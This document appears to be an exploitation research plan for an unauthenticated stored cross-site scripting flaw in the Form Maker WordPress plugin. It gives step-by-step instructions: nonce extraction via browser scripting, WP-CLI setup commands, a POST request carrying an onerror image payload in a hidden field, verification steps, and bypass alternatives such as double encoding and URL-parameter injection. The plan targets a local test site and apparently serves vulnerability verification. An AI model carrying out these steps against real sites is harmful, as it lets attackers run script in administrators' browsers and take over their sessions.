Form Maker by 10Web <= 1.15.35 - Unauthenticated Stored Cross-Site Scripting via Hidden Field

This research plan targets CVE-2026-1058, a stored Cross-Site Scripting (XSS) vulnerability in the "Form Maker by 10Web" plugin. The vulnerability arises because the plugin uses html_entity_decode() on hidden field values before displaying them in the admin submissions list, without subsequent escaping.

1. Vulnerability Summary

• Vulnerability: Unauthenticated Stored XSS.
• Affected Component: Admin Submissions View (Submissions list/details).
• Root Cause: Improper output neutralization. User-supplied input for "Hidden" type fields is processed with html_entity_decode(). If an attacker submits a payload using HTML entities (e.g., <script>), the plugin decodes it back into executable HTML/JavaScript (<script>) and echoes it to the administrator's browser.
• Affected Versions: <= 1.15.35.

2. Attack Vector Analysis

• Endpoint: /wp-admin/admin-ajax.php
• Action: form_maker_submit (inferred from standard Form Maker submission logic).
• Vulnerable Parameter: The value associated with a "Hidden" field type. These are typically sent in the POST body as part of the form data (e.g., submission_data or indexed field parameters like field_1, field_2).
• Authentication: None (Unauthenticated).
• Preconditions: A form must exist that contains at least one "Hidden" field.

3. Code Flow

1. Submission (Public):
   • The frontend form sends a POST request to admin-ajax.php with action=form_maker_submit (inferred).
   • The plugin receives the data and saves it to the {wp_prefix}form_maker_submits table.
2. Processing (Admin):
   • An administrator navigates to Form Maker > Submissions.
   • The plugin fetches the submissions for the specific form.
   • The code iterates through the fields. When it encounters a field defined as type hidden, it retrieves the stored value.
   • The Sink: The plugin calls html_entity_decode($field_value) and echos the result directly into the table cell or detail view.
   • If the value was <img src=x onerror=alert(1)>, it becomes <img src=x onerror=alert(1)> in the DOM, triggering execution.

4. Nonce Acquisition Strategy

Form Maker typically requires a frontend nonce for form submission to prevent automated spam.

1. Identify Shortcode: The plugin uses [form_maker id="ID"].
2. Create Test Page:
   • wp post create --post_type=page --post_status=publish --post_title="Contact" --post_content='[form_maker id="1"]' (assuming Form ID 1 exists).
3. Navigate and Extract:
   • Use browser_navigate to the newly created page.
   • Form Maker localizes its data in a variable, often named fm_object or similar, or attaches nonces to the form DOM.
   • Inferred JS Variable: window.fm_object?.ajax_nonce or window.fm_ajax?.nonce.
   • Alternative: Extract from the hidden input field in the form: browser_eval("document.querySelector('input[name=\"fm_nonce\"]')?.value").

5. Exploitation Strategy

The goal is to submit a form containing a payload in a hidden field.

• Step 1: Discovery
  • Locate an existing form ID: wp db query "SELECT id FROM wp_form_maker"
  • Check if it has a hidden field: wp db query "SELECT * FROM wp_form_maker WHERE id=1" (Analyze the form_fields column which is usually JSON).
• Step 2: Setup (If needed)
  • If no form exists or no form has a hidden field, create one via WP-CLI or the UI (see Section 6).
• Step 3: Submission Request
  • Method: POST
  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Content-Type: application/x-www-form-urlencoded
  • Body (Example):

    action=form_maker_submit&
    form_id=1&
    field_1=NormalData&
    field_HIDDEN_ID=<img src=x onerror=alert(document.domain)>&
    nonce=[EXTRACTED_NONCE]
    

  • Note: field_HIDDEN_ID represents the actual ID/name of the hidden field in the form.

6. Test Data Setup

1. Create a Form: Ensure a form exists with a hidden field.
   • If creating manually via WP-CLI is complex due to serialized/JSON data, use browser_navigate to wp-admin/admin.php?page=form_maker and create a form with one "Hidden" field.
2. Identify Field IDs: Note the ID assigned to the hidden field (e.g., 4).
3. Publish Form: Create a page with the shortcode [form_maker id="X"] where X is the new form ID.

7. Expected Results

• The http_request for submission should return a success message (e.g., {"status":"success"} or a success redirect).
• When an admin logs in and visits Form Maker > Submissions, the browser should execute the JavaScript in the context of the WordPress admin.

8. Verification Steps

1. Database Check:
   • wp db query "SELECT * FROM wp_form_maker_submits ORDER BY id DESC LIMIT 1"
   • Verify the element_value for the hidden field contains the payload <img src=x onerror=alert(document.domain)>.
2. UI Check (Automated):
   • Log in as admin.
   • Navigate to the submissions page for the specific form.
   • Use browser_eval("document.body.innerHTML.includes('<img src=x onerror=alert')") to confirm the decoded payload is present in the source.

9. Alternative Approaches

• Double Encoding: If the plugin has some sanitization on submission, try double encoding the payload: <script>.
• Submission via Frontend: Instead of admin-ajax.php, navigate to the published page using browser_navigate and use browser_type to fill and submit the form, which ensures all required JS-generated fields are included.
• Different Hidden Source: Form Maker hidden fields can sometimes be populated via URL parameters. Try: http://localhost:8080/contact-page/?hidden_field_name=<script>alert(1)</script> and then submitting the form normally.